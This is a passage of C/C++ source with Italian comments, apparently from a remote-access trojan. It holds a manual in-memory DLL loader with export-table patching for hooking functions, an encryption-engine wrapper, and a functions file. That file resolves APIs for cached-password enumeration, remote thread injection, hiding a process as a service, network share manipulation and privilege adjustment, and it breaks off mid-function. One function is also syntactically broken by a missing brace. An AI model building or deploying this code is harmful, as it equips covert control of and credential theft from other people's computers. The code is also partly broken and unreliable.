lstrcpyn(svName,cur->svName,MAX_PATH);


// Rimozione delle DLL


if(cur->nLockCount==0) {



if(prev==NULL) {




g_pImageParamHead=g_pImageParamHead->next;




free(cur);



} else {




prev->next=cur->next;




free(cur);



}



LeaveCriticalSection(&g_DLLCrit);



return 1;


}


LeaveCriticalSection(&g_DLLCrit);


return 0;

}

HMODULE GetDLLHandle(const char *svName)

{


if(svName==NULL) return NULL;


EnterCriticalSection(&g_DLLCrit);


// Trova DLL in Lista


IMAGE_PARAMETERS *cur;


for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {



if(lstrcmpi(cur->svName,svName)==0) break;


}


if(cur!=NULL) {



LeaveCriticalSection(&g_DLLCrit);



return (HMODULE) cur->pImageBase;


} 


LeaveCriticalSection(&g_DLLCrit);


return NULL;


}

//restituisce 0 se va a buon fine 1 se c’è un errore

DWORD GetDLLFileName(HMODULE hModule, LPTSTR lpFileName, DWORD nSize)

{


if(hModule==NULL || lpFileName==NULL || nSize==0) return 0;


DWORD dwRet;


if((dwRet=GetModuleFileName(hModule,lpFileName,nSize))!=0) return dwRet;


EnterCriticalSection(&g_DLLCrit);


// Trova DLL in lista


IMAGE_PARAMETERS *cur;


for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {



if(cur->pImageBase==hModule) break;


}


if(cur!=NULL) {



LeaveCriticalSection(&g_DLLCrit);



lstrcpyn(lpFileName,cur->svName,nSize);



return lstrlen(lpFileName);


} 


LeaveCriticalSection(&g_DLLCrit);


return 0;


}

FARPROC GetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName)

{


if(hModule==NULL) return NULL;


// Acquisisce intestazione


PIMAGE_OPTIONAL_HEADER   poh;

    poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (hModule);


int nDirCount;


nDirCount=poh->NumberOfRvaAndSizes;


if(nDirCount<16) return FALSE;


if(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size==0) return NULL;


PIMAGE_EXPORT_DIRECTORY ped;


ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);



int nOrdinal;


if(HIWORD((DWORD)lpProcName)==0) {



nOrdinal=(LOWORD((DWORD)lpProcName)) - ped->Base;


} else {



int i,count;



DWORD *pdwNamePtr;



WORD *pwOrdinalPtr;



count=ped->NumberOfNames;



pdwNamePtr=(DWORD *)RVATOVA(hModule,ped->AddressOfNames);



pwOrdinalPtr=(WORD *)RVATOVA(hModule,ped->AddressOfNameOrdinals);



for(i=0;i<count;i++) {




char *svName;




svName=(char *)RVATOVA(hModule,*pdwNamePtr);




if(lstrcmp(svName,lpProcName)==0) {





nOrdinal=*pwOrdinalPtr;





break;




}




pdwNamePtr++;




pwOrdinalPtr++;



}



if(i==count) return NULL;


}


DWORD *pAddrTable;


DWORD dwRVA;


pAddrTable=(DWORD *)RVATOVA(hModule,ped->AddressOfFunctions);


dwRVA=pAddrTable[nOrdinal];


DWORD dwAddr;


dwAddr=(DWORD) RVATOVA(hModule,dwRVA);


return (FARPROC) dwAddr;

}

FARPROC SetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName, FARPROC fpAddr)

{


if(hModule==NULL) return FALSE;


// Acquisisce intestazione


PIMAGE_OPTIONAL_HEADER   poh;

    poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (hModule);


int nDirCount;


nDirCount=poh->NumberOfRvaAndSizes;


if(nDirCount<16) return FALSE;


if(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size==0) return FALSE;


PIMAGE_EXPORT_DIRECTORY ped;


ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);



int nOrdinal;


if(HIWORD((DWORD)lpProcName)==0) {



nOrdinal=(LOWORD((DWORD)lpProcName)) - ped->Base;


} else 



int i,count;



DWORD *pdwNamePtr;



WORD *pwOrdinalPtr;



count=ped->NumberOfNames;



pdwNamePtr=(DWORD *)RVATOVA(hModule,ped->AddressOfNames);



pwOrdinalPtr=(WORD *)RVATOVA(hModule,ped->AddressOfNameOrdinals);



for(i=0;i<count;i++) {




char *svName;




svName=(char *)RVATOVA(hModule,*pdwNamePtr);




if(lstrcmp(svName,lpProcName)==0) {





nOrdinal=*pwOrdinalPtr;





break;




}




pdwNamePtr++;




pwOrdinalPtr++;



}



if(i==count) return FALSE;


}


DWORD *pAddrTable=(DWORD *)RVATOVA(hModule,ped->AddressOfFunctions);


DWORD dwOldAddr=(DWORD) RVATOVA(hModule,(pAddrTable[nOrdinal]));


pAddrTable[nOrdinal]=(DWORD) VATORVA(hModule,((DWORD)fpAddr));


return (FARPROC) dwOldAddr;

}

BOOL ResetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName)

{


char svName[MAX_PATH+1];


if(GetDLLFileName(hModule,svName,MAX_PATH+1)) {



// Carica una copia della DLL in uso



HMODULE hNewMod=LoadDLLEx(svName,NULL,FORCE_LOAD_NEW_IMAGE);



if(hNewMod==NULL) return FALSE;



DWORD dwAddr=(DWORD)GetDLLProcAddress(hNewMod,lpProcName);



if(dwAddr==NULL) {




FreeDLL(hNewMod);




return FALSE;



}



DWORD dwNewAddr=(DWORD)RVATOVA(hModule,VATORVA(hNewMod,dwAddr));



FreeDLL(hNewMod);



SetDLLProcAddress(hModule,lpProcName,(FARPROC)dwNewAddr);



return TRUE;


}


return FALSE;

}

//codice interno della DLL

static BOOL RunDLLMain(void *pImageBase, DWORD dwImageSize, BOOL bDetach)

{


PIMAGE_OPTIONAL_HEADER   poh;


PIMAGE_FILE_HEADER pfh;


DLLMAIN_T pDllMain;

    pfh = (PIMAGE_FILE_HEADER)PEFHDROFFSET(pImageBase);


if((pfh->Characteristics & IMAGE_FILE_DLL)==0) return TRUE;


poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (pImageBase);


pDllMain=(DLLMAIN_T) RVATOVA(pImageBase, poh->AddressOfEntryPoint);


//Chiama correttamente la DLL principale

BOOL bRet;


if(bDetach) {



bRet=pDllMain((HMODULE) pImageBase, DLL_PROCESS_DETACH, NULL);



} else {



bRet=pDllMain((HMODULE) pImageBase, DLL_PROCESS_ATTACH, NULL);



}


return bRet;

}

BOOL PrepareDLLImage(void *pMemoryImage, DWORD dwImageSize, BOOL bResolve, BOOL bRebind)

{


// Acquisce intestazione

PIMAGE_OPTIONAL_HEADER   poh;

    PIMAGE_SECTION_HEADER    psh;

    poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (pMemoryImage);

    psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pMemoryImage);


int nDirCount;


nDirCount=poh->NumberOfRvaAndSizes;


if(nDirCount<16) return FALSE;


if(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size!=0) {



PIMAGE_IMPORT_DESCRIPTOR pid;



pid=(IMAGE_IMPORT_DESCRIPTOR *)RVATOVA(pMemoryImage,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);



// esegue per tutte le dll importate


while(pid->OriginalFirstThunk!=0) {




char *svDllName;




svDllName=(char *) RVATOVA(pMemoryImage,pid->Name);




HMODULE hDll;




hDll=GetModuleHandle(svDllName);




if(hDll==NULL) hDll=LoadLibrary(svDllName);




if(hDll==NULL) return FALSE;




if(pid->TimeDateStamp==0 || bRebind) {





// memorizza note sulle dll





pid->ForwarderChain=(DWORD)hDll;





pid->TimeDateStamp=0xCDC31337; 





typedef struct _MY_IMAGE_THUNK_DATA32 {  




    union {







DWORD Function;             







DWORD Ordinal;







DWORD AddressOfData;        






} u1;





} MY_IMAGE_THUNK_DATA32;





typedef MY_IMAGE_THUNK_DATA32 * PMY_IMAGE_THUNK_DATA;





PMY_IMAGE_THUNK_DATA ptd_in,ptd_out;





ptd_in=(PMY_IMAGE_THUNK_DATA) RVATOVA(pMemoryImage, pid->OriginalFirstThunk);





ptd_out=(PMY_IMAGE_THUNK_DATA) RVATOVA(pMemoryImage, pid->FirstThunk);





while(ptd_in->u1.Function!=NULL) {






FARPROC func;






if(ptd_in->u1.Ordinal & 0x80000000) {







func=GetProcAddress(hDll,MAKEINTRESOURCE(ptd_in->u1.Ordinal));






} else {







PIMAGE_IMPORT_BY_NAME pibn;







pibn=(PIMAGE_IMPORT_BY_NAME) RVATOVA(pMemoryImage,ptd_in->u1.AddressOfData);







func=GetProcAddress(hDll,(char *)pibn->Name);






}






if(func==NULL) return FALSE;






ptd_out->u1.Function = (DWORD) func;






ptd_in++;






ptd_out++;





}




}




pid++;



}


}


DWORD delta;


delta=(DWORD)pMemoryImage - (DWORD)poh->ImageBase;


if((delta!=0) && (poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size!=0)) {



PIMAGE_FIXUP_BLOCK pfb;



pfb=(PIMAGE_FIXUP_BLOCK)RVATOVA(pMemoryImage,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);



while(pfb->dwPageRVA!=0) {




PIMAGE_FIXUP_ENTRY pfe;




int i,count;




count=(pfb->dwBlockSize-sizeof(IMAGE_FIXUP_BLOCK))/sizeof(IMAGE_FIXUP_ENTRY);




pfe=(PIMAGE_FIXUP_ENTRY)((char *)pfb + sizeof(IMAGE_FIXUP_BLOCK));




for(i=0;i<count;i++) {





void *fixaddr;





int adjust;





fixaddr=RVATOVA(pMemoryImage,pfb->dwPageRVA + pfe->offset);





switch(pfe->type) {





case IMAGE_REL_BASED_ABSOLUTE:






break;





case IMAGE_REL_BASED_HIGH:






*((WORD *)fixaddr) += HIWORD(delta);






break;





case IMAGE_REL_BASED_LOW:






*((WORD *)fixaddr) += LOWORD(delta);






break;





case IMAGE_REL_BASED_HIGHLOW:






*((DWORD *)fixaddr) += delta;






break;





case IMAGE_REL_BASED_HIGHADJ: // This one's really fucked up.






adjust=((*((WORD *)fixaddr)) << 16) | (*(WORD *)(pfe+1));






adjust += delta;






adjust += 0x00008000;






*((WORD *)fixaddr) = HIWORD(adjust);






pfe++;






break;





default:






return FALSE;





}





pfe++;




}




pfb=(PIMAGE_FIXUP_BLOCK)((char *)pfb + pfb->dwBlockSize);



}


}


return TRUE;

}

static BOOL ProtectDLLImage(void *pMemoryImage, BOOL bRWX)

{


PIMAGE_FILE_HEADER pfh;


int nSectionCount;


pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pMemoryImage);


nSectionCount=pfh->NumberOfSections;


PIMAGE_OPTIONAL_HEADER poh;


DWORD hdrlen;


poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pMemoryImage);


hdrlen=poh->SizeOfHeaders;


int i;


PIMAGE_SECTION_HEADER psh;


psh=(PIMAGE_SECTION_HEADER) SECHDROFFSET(pMemoryImage);


for(i=0;i<nSectionCount;i++) {



void *secMemAddr;



int secLen;



secMemAddr  = (char *)RVATOVA(pMemoryImage, psh->VirtualAddress);



secLen = psh->SizeOfRawData;



DWORD newProtect=0,oldProtect;



BOOL bWrite, bRead, bExec, bShared;



bWrite  = (psh->Characteristics & IMAGE_SCN_MEM_WRITE)?TRUE:FALSE;



bRead   = (psh->Characteristics & IMAGE_SCN_MEM_READ)?TRUE:FALSE;



bExec   = (psh->Characteristics & IMAGE_SCN_MEM_EXECUTE)?TRUE:FALSE;



bShared = (psh->Characteristics & IMAGE_SCN_MEM_SHARED)?TRUE:FALSE;



if(bWrite && bRead && bExec && bShared) newProtect=PAGE_EXECUTE_READWRITE;



else if(bWrite && bRead && bExec) newProtect=PAGE_EXECUTE_WRITECOPY;



else if(bRead && bExec) newProtect=PAGE_EXECUTE_READ;



else if(bExec) newProtect=PAGE_EXECUTE;



else if(bWrite && bRead && bShared) newProtect=PAGE_READWRITE; 



else if(bWrite && bRead) newProtect=PAGE_WRITECOPY;



else if(bRead) newProtect=PAGE_READONLY;



if(bRWX) newProtect=PAGE_WRITECOPY;



if(psh->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) newProtect |= PAGE_NOCACHE;



if(newProtect==0) return FALSE;



VirtualProtect(secMemAddr,secLen,newProtect,&oldProtect);



psh++;


}


return TRUE;

}

BOOL MapDLLFromImage(void *pDLLFileImage, void *pMemoryImage)

{


PIMAGE_FILE_HEADER pfh;


int nSectionCount;


pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pDLLFileImage);


nSectionCount=pfh->NumberOfSections;


PIMAGE_OPTIONAL_HEADER poh;


DWORD hdrlen;


poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pDLLFileImage);


hdrlen=poh->SizeOfHeaders;


memcpy(pMemoryImage,pDLLFileImage,hdrlen);


int i;


PIMAGE_SECTION_HEADER psh;


psh=(PIMAGE_SECTION_HEADER) SECHDROFFSET(pDLLFileImage);


for(i=0;i<nSectionCount;i++) {



void *secMemAddr, *secFileAddr;



int secLen;



secMemAddr  = (char *)pMemoryImage + psh->VirtualAddress;



secFileAddr = (char *)pDLLFileImage + psh->PointerToRawData;



secLen = psh->SizeOfRawData;



memcpy(secMemAddr,secFileAddr,secLen);



psh++;


}


return TRUE;

}

HMODULE LoadDLLFromImage(void *pDLLFileImage, const char *svMappingName, DWORD dwFlags)

{


PIMAGE_DOS_HEADER doshead;


doshead=(PIMAGE_DOS_HEADER) pDLLFileImage;


if(doshead->e_magic!=IMAGE_DOS_SIGNATURE) return NULL;


if(svMappingName!=NULL) {



if(lstrlen(svMappingName) >= MAX_PATH) return NULL;


}


if(*(DWORD *)NTSIGNATURE(pDLLFileImage) != IMAGE_NT_SIGNATURE) return NULL;


PIMAGE_FILE_HEADER pfh;


pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pDLLFileImage);


// Acquisisce il contatore di sezione

int nSectionCount;


nSectionCount=pfh->NumberOfSections;


PIMAGE_OPTIONAL_HEADER poh;


poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pDLLFileImage);


if(poh->Magic!=0x010B) return NULL;


void *pPreferredImageBase;


DWORD dwImageSize;


pPreferredImageBase=(void *)poh->ImageBase;


dwImageSize=poh->SizeOfImage;


void *pImageBase;


HANDLE hmapping=NULL;


pImageBase=GetDLLHandle(svMappingName);


if(pImageBase==NULL) {







BOOL bCreated=FALSE;



BOOL bRebased=FALSE;



if(g_bIsWinNT) {




// === Opzioni per Windows NT DLL supporto condivisione dll===




if(svMappingName!=NULL) {





hmapping=OpenFileMapping(FILE_MAP_WRITE,TRUE,svMappingName);





bCreated=FALSE;




}




if(hmapping==NULL) {





hmapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,dwImageSize+SIZE_OF_PARAMETER_BLOCK,svMappingName);





if(hmapping==NULL) return NULL;





bCreated=TRUE;




}


pImageBase=MapViewOfFileEx(hmapping,FILE_MAP_WRITE,0,0,0,pPreferredImageBase);




if(pImageBase==NULL) {





pImageBase=MapViewOfFileEx(hmapping,FILE_MAP_WRITE,0,0,0,NULL);




}




CloseHandle(hmapping);









if(pImageBase==NULL) return NULL;



} else {




pImageBase=VirtualAlloc(pPreferredImageBase,dwImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);




if(pImageBase==NULL) {





pImageBase=VirtualAlloc(NULL,dwImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);





if(pImageBase==NULL) return NULL;




}




bCreated=TRUE;




}



if(bCreated || (pImageBase!=pPreferredImageBase)) {




if(!MapDLLFromImage(pDLLFileImage,pImageBase)) {





if(g_bIsWinNT) UnmapViewOfFile(pImageBase);





else VirtualFree(pImageBase,0,MEM_RELEASE);





return NULL;




}



}



if(!(dwFlags & LOAD_LIBRARY_AS_DATAFILE)) {




if(!PrepareDLLImage(pImageBase, dwImageSize, (dwFlags & DONT_RESOLVE_DLL_REFERENCES)?FALSE:TRUE,(dwFlags & REBIND_IMAGE_IMPORTS)?TRUE:FALSE)) {





if(g_bIsWinNT) UnmapViewOfFile(pImageBase);





else VirtualFree(pImageBase,0,MEM_RELEASE);





return NULL;




}




if(!(dwFlags & DONT_RESOLVE_DLL_REFERENCES)) {





BOOL bRet;





bRet=RunDLLMain(pImageBase,dwImageSize,DLL_ATTACH);





if(!bRet) {






if(g_bIsWinNT) UnmapViewOfFile(pImageBase);






else VirtualFree(pImageBase,0,MEM_RELEASE);






return NULL;





}




}




if(!ProtectDLLImage(pImageBase, (dwFlags & RWX_PERMISSIONS)?TRUE:FALSE) ){





if(g_bIsWinNT) UnmapViewOfFile(pImageBase);





else VirtualFree(pImageBase,0,MEM_RELEASE);





return NULL;




}



}


}


int dllaction;


dllaction=AddDLLReference(pImageBase,svMappingName,dwFlags);


if(dllaction==-1) {



if(hmapping!=NULL) {




if(g_bIsWinNT) UnmapViewOfFile(pImageBase);




else VirtualFree(pImageBase,0,MEM_RELEASE);



}



return NULL;


}



return (HMODULE) pImageBase;


}

HMODULE LoadDLLEx(LPCTSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)

{


char svPath[MAX_PATH+1];


char *svFilePart;


int nPathLen;



if(dwFlags & LOAD_WITH_ALTERED_SEARCH_PATH) {



return NULL;


} else {



nPathLen=SearchPath(NULL,lpLibFileName,".dll",MAX_PATH,svPath,&svFilePart);



if(nPathLen==0) return NULL;


}


HANDLE hfile=CreateFile(svPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);


if(hfile==INVALID_HANDLE_VALUE) return NULL;


HANDLE hmapping;


hmapping=CreateFileMapping(hfile, NULL, PAGE_READONLY, 0, 0, NULL);


CloseHandle(hfile);


void *baseaddr;


baseaddr=MapViewOfFile(hmapping,FILE_MAP_READ,0,0,0);


if(baseaddr==NULL) {



CloseHandle(hmapping);



return NULL;


}


HMODULE ret;


if(dwFlags & FORCE_LOAD_NEW_IMAGE) {



ret=LoadDLLFromImage(baseaddr, NULL, dwFlags & ~LOAD_WITH_ALTERED_SEARCH_PATH);


} else {



ret=LoadDLLFromImage(baseaddr, svFilePart, dwFlags & ~LOAD_WITH_ALTERED_SEARCH_PATH);


}


UnmapViewOfFile(baseaddr);


CloseHandle(hmapping);


return (HMODULE) ret;

}

HMODULE LoadDLL(LPCTSTR lpLibFileName)

{


return LoadDLLEx(lpLibFileName,NULL,0);

}

BOOL FreeDLL(HMODULE hLibModule)

{


if(hLibModule==NULL) return FALSE;


PIMAGE_DOS_HEADER doshead;


doshead=(PIMAGE_DOS_HEADER) hLibModule;


if(doshead->e_magic!=IMAGE_DOS_SIGNATURE) return FALSE;


if(*(DWORD *)NTSIGNATURE(hLibModule) != IMAGE_NT_SIGNATURE) return FALSE;


PIMAGE_OPTIONAL_HEADER poh;


poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(hLibModule);


if(poh->Magic!=0x010B) return FALSE;


DWORD dwImageSize;


dwImageSize=poh->SizeOfImage;


DWORD dwFlags;


char svName[MAX_PATH];


int dllaction;


dllaction=RemoveDLLReference(hLibModule,svName,&dwFlags);


if(dllaction==-1) return NULL;


BOOL bRet;


bRet=TRUE;


if(!(dwFlags & (LOAD_LIBRARY_AS_DATAFILE | DONT_RESOLVE_DLL_REFERENCES))) {



if(dllaction) {




RunDLLMain(hLibModule,dwImageSize,DLL_DETACH);




if(g_bIsWinNT) bRet=UnmapViewOfFile(hLibModule);




else bRet=VirtualFree(hLibModule,0,MEM_RELEASE);



}


}


return bRet;

}

/*  file encryption.cpp */

// intefaccia di comando Input/Output 

#include<stdlib.h>

#include<string.h>

#include<encryption.h>

#ifndef WIN32

#define strnicmp strncasecmp

#endif

// Criptatura del manipolatore

CEncryptionHandler::CEncryptionHandler()

{


int i;


for(i=0;i<MAX_ENCRYPTION_ENGINES;i++)



m_EncryptionEngine[i]=INVALID_ENCRYPTION_ENGINE;

}

CEncryptionHandler::~CEncryptionHandler()

{


int i;


for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {



if(m_EncryptionEngine[i]!=INVALID_ENCRYPTION_ENGINE) {




m_EncryptionEngine[i]->pRemove();




m_EncryptionEngine[i]=INVALID_ENCRYPTION_ENGINE;



}


}

}

int CEncryptionHandler::Insert(ENCRYPTION_ENGINE *engine)

{



int i;


if(engine->pInsert==NULL) return -1;


if(engine->pInsert()==-1) return -1;


for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {



if(m_EncryptionEngine[i]==INVALID_ENCRYPTION_ENGINE) break;


}


if(i==MAX_ENCRYPTION_ENGINES) return -1;


m_EncryptionEngine[i]=engine;


return i;

}

int CEncryptionHandler::GetEngineCount(void)

{


int count,i;


count=0;


for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {



if(m_EncryptionEngine[i]!=INVALID_ENCRYPTION_ENGINE) count++;


}


return count;

}

ENCRYPTION_ENGINE *CEncryptionHandler::GetEngine(int nEngine)

{


if(nEngine<0 || nEngine>=MAX_ENCRYPTION_ENGINES) return NULL;


return m_EncryptionEngine[nEngine];

}

ENCRYPTION_ENGINE *CEncryptionHandler::GetEngineByID(const char *svID)

{


int i;


for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {



char *svQuery=Query(i);



if(svQuery!=NULL) {




if(strnicmp(svQuery,svID,min(strlen(svID),strlen(svQuery)))==0)





return m_EncryptionEngine[i];



}


}


return NULL;

}

char *CEncryptionHandler::Query(int nEngine)

{


if(nEngine<0 || nEngine>=MAX_ENCRYPTION_ENGINES) return NULL;


if(m_EncryptionEngine[nEngine]==INVALID_ENCRYPTION_ENGINE) return NULL;


if(m_EncryptionEngine[nEngine]->pQuery==NULL) return NULL;


return m_EncryptionEngine[nEngine]->pQuery();

}

int CEncryptionHandler::Remove(int nEngine)

{


int ret;


if(nEngine<0 || nEngine>=MAX_ENCRYPTION_ENGINES) return -1;


if(m_EncryptionEngine[nEngine]==INVALID_ENCRYPTION_ENGINE) return -1;


if(m_EncryptionEngine[nEngine]->pRemove==NULL) return -1;


ret=m_EncryptionEngine[nEngine]->pRemove();


m_EncryptionEngine[nEngine]=INVALID_ENCRYPTION_ENGINE;


return ret;

}

//Algoritmi di criptatura e motore di gestione

CEncryptionEngine::CEncryptionEngine(ENCRYPTION_ENGINE *pEngine)

{


m_pEngine=pEngine;


m_pData=NULL;

}

CEncryptionEngine::~CEncryptionEngine()

{

}

char *CEncryptionEngine::Query(void)

{


return m_pEngine->pQuery();

}

int CEncryptionEngine::Startup(void)

{


if(m_pData!=NULL) return -1;


if(m_pEngine->pStartup==NULL) return 0;


m_pData=m_pEngine->pStartup();


if(m_pData==NULL) return -1;


return 0;

}

int CEncryptionEngine::Shutdown(void)

{


int ret;


if(m_pData==NULL) return -1;


if(m_pEngine->pShutdown==NULL) return 0;


ret=m_pEngine->pShutdown(m_pData);


if(ret>=0) m_pData=NULL;


return ret;

}

int CEncryptionEngine::SetEncryptKey(const char *svKey)

{


if(m_pData==NULL) return -1;


if(m_pEngine->pSetEncryptKey==NULL) return 0;


return m_pEngine->pSetEncryptKey(m_pData,svKey);

}

int CEncryptionEngine::SetDecryptKey(const char *svKey)

{


if(m_pData==NULL) return -1;


if(m_pEngine->pSetDecryptKey==NULL) return 0;


return m_pEngine->pSetDecryptKey(m_pData,svKey);

}

char *CEncryptionEngine::GetEncryptKey(void)

{


if(m_pData==NULL) return NULL;


if(m_pEngine->pGetEncryptKey==NULL) return NULL;


return m_pEngine->pGetEncryptKey(m_pData);

}

char *CEncryptionEngine::GetDecryptKey(void)

{


if(m_pData==NULL) return NULL;


if(m_pEngine->pGetDecryptKey==NULL) return NULL;


return m_pEngine->pGetDecryptKey(m_pData);

}

BYTE *CEncryptionEngine::Encrypt(BYTE *pBuffer,int nBufLen, int *pnOutBufLen)

{


if(m_pData==NULL) return NULL;


if(m_pEngine->pEncrypt==NULL) return NULL;


return m_pEngine->pEncrypt(m_pData,pBuffer,nBufLen,pnOutBufLen);

}

BYTE *CEncryptionEngine::Decrypt(BYTE *pBuffer,int nBufLen, int *pnOutBufLen)

{


if(m_pData==NULL) return NULL;


if(m_pEngine->pDecrypt==NULL) return NULL;


return m_pEngine->pDecrypt(m_pData,pBuffer,nBufLen,pnOutBufLen);

}

int CEncryptionEngine::CreateNewKeys(void)

{


if(m_pData==NULL) return -1;


if(m_pEngine->pCreateNewKeys==NULL) return -1;


return m_pEngine->pCreateNewKeys(m_pData);

}

void CEncryptionEngine::Free(BYTE *pBuffer)

{


if(m_pData==NULL) return;


if(m_pEngine->pFree==NULL) return;


m_pEngine->pFree(m_pData, pBuffer);

}

/*  file functions.cpp . */

#include<windows.h>

#include<windef.h>

#include<lmcons.h>

#include<lmshare.h>

#include<tlhelp32.h>

#include<functions.h>

#include<osversion.h>

HINSTANCE ghDll_NetApi32;

HINSTANCE ghDll_SvrApi;

HINSTANCE ghDll_Mpr;

HINSTANCE ghDll_Kernel32;

HINSTANCE ghDll_AdvApi32;

CREATESNAPSHOT pCreateToolhelp32Snapshot; 

MODULEWALK  pModule32First; 

MODULEWALK  pModule32Next; 

PROCESSWALK pProcess32First; 

PROCESSWALK pProcess32Next; 

THREADWALK  pThread32First; 

THREADWALK  pThread32Next; 

REGSERVICEPROC pRegisterServiceProcess;

CREATEREMOTETHREAD pCreateRemoteThread;

VIRTUALALLOCEX pVirtualAllocEx;

VIRTUALFREEEX pVirtualFreeEx;

VIRTUALQUERYEX pVirtualQueryEx;

VIRTUALPROTECTEX pVirtualProtectEx;

ENUMPASSWORD pWNetEnumCachedPasswords;

WNETCLOSEENUM pWNetCloseEnum;

WNETENUMRESOURCE pWNetEnumResource;

WNETOPENENUM pWNetOpenEnum;

WNETCANCELCONNECTION2 pWNetCancelConnection2;

WNETADDCONNECTION2 pWNetAddConnection2;

LMS_NETSESSIONENUM pLMSNetSessionEnum;

LMS_NETSHAREENUM pLMSNetShareEnum;

LMS_NETSHAREDEL pLMSNetShareDel;

LMS_NETSHAREADD pLMSNetShareAdd;

LMS_NETAPIBUFFERFREE pLMSNetApiBufferFree;

SVR_NETSESSIONENUM pSVRNetSessionEnum;

SVR_NETSHAREENUM pSVRNetShareEnum;

SVR_NETSHAREDEL pSVRNetShareDel;

SVR_NETSHAREADD pSVRNetShareAdd;

REGSETKEYSECURITY pRegSetKeySecurity;

SETSECURITYDESCRIPTORDACL pSetSecurityDescriptorDacl;

GETACE pGetAce;

ADDACCESSALLOWEDACE pAddAccessAllowedAce;

INITIALIZEACL pInitializeAcl;

INITIALIZESECURITYDESCRIPTOR pInitializeSecurityDescriptor;

GETLENGTHSID pGetLengthSid;

LOOKUPACCOUNTNAME pLookupAccountName;

LOOKUPACCOUNTSID pLookupAccountSid;

GETSECURITYDESCRIPTORDACL pGetSecurityDescriptorDacl;

GETSECURITYDESCRIPTORGROUP pGetSecurityDescriptorGroup;

GETSECURITYDESCRIPTOROWNER pGetSecurityDescriptorOwner;

OPENPROCESSTOKEN pOpenProcessToken;

LOOKUPPRIVILEGEVALUE pLookupPrivilegeValue;

ADJUSTTOKENPRIVILEGES pAdjustTokenPrivileges;

REGGETKEYSECURITY pRegGetKeySecurity;

OPENSCMANAGER pOpenSCManager;

CREATESERVICE pCreateService;

CLOSESERVICEHANDLE pCloseServiceHandle;

OPENSERVICE
pOpenService;

STARTSERVICECTRLDISPATCHER pStartServiceCtrlDispatcher;

REGISTERSERVICECTRLHANDLER pRegisterServiceCtrlHandler;

SETSERVICESTATUS pSetServiceStatus;

DELETESERVICE pDeleteService;

GETSERVICEDISPLAYNAME pGetServiceDisplayName;

STARTSERVICE pStartService;

int InitDynamicLibraries(void)

{


if(g_bIsWinNT) {



ghDll_NetApi32 = LoadLibrary("NETAPI32.DLL");



if(ghDll_NetApi32==NULL) return -1;



pLMSNetSessionEnum = (LMS_NETSESSIONENUM)GetProcAddress(ghDll_NetApi32, "NetSessionEnum");



pLMSNetShareEnum = (LMS_NETSHAREENUM)GetProcAddress(ghDll_NetApi32, "NetShareEnum");



pLMSNetShareDel = (LMS_NETSHAREDEL)GetProcAddress(ghDll_NetApi32, "NetShareDel");



pLMSNetShareAdd = (LMS_NETSHAREADD)GetProcAddress(ghDll_NetApi32, "NetShareAdd");



pLMSNetApiBufferFree = (LMS_NETAPIBUFFERFREE) GetProcAddress(ghDll_NetApi32, "NetApiBufferFree");


} else {



ghDll_SvrApi = LoadLibrary("SVRAPI.DLL"); 



if(ghDll_SvrApi==NULL) return -1;



pSVRNetSessionEnum = (SVR_NETSESSIONENUM)GetProcAddress(ghDll_SvrApi, "NetSessionEnum");



pSVRNetShareEnum = (SVR_NETSHAREENUM)GetProcAddress(ghDll_SvrApi, "NetShareEnum");



pSVRNetShareDel = (SVR_NETSHAREDEL)GetProcAddress(ghDll_SvrApi, "NetShareDel");



pSVRNetShareAdd = (SVR_NETSHAREADD)GetProcAddress(ghDll_SvrApi, "NetShareAdd");


}


ghDll_Mpr=LoadLibrary("MPR.DLL");


if(ghDll_Mpr==NULL) return -1;


if(!g_bIsWinNT) {



pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(ghDll_Mpr, "WNetEnumCachedPasswords");


}


pWNetCloseEnum = (WNETCLOSEENUM)GetProcAddress(ghDll_Mpr, "WNetCloseEnum");


pWNetEnumResource = (WNETENUMRESOURCE)GetProcAddress(ghDll_Mpr, "WNetEnumResourceA");


pWNetOpenEnum = (WNETOPENENUM)GetProcAddress(ghDll_Mpr, "WNetOpenEnumA");


pWNetCancelConnection2 = (WNETCANCELCONNECTION2)GetProcAddress(ghDll_Mpr, "WNetCancelConnection2A");


pWNetAddConnection2 = (WNETADDCONNECTION2)GetProcAddress(ghDll_Mpr, "WNetAddConnection2A");


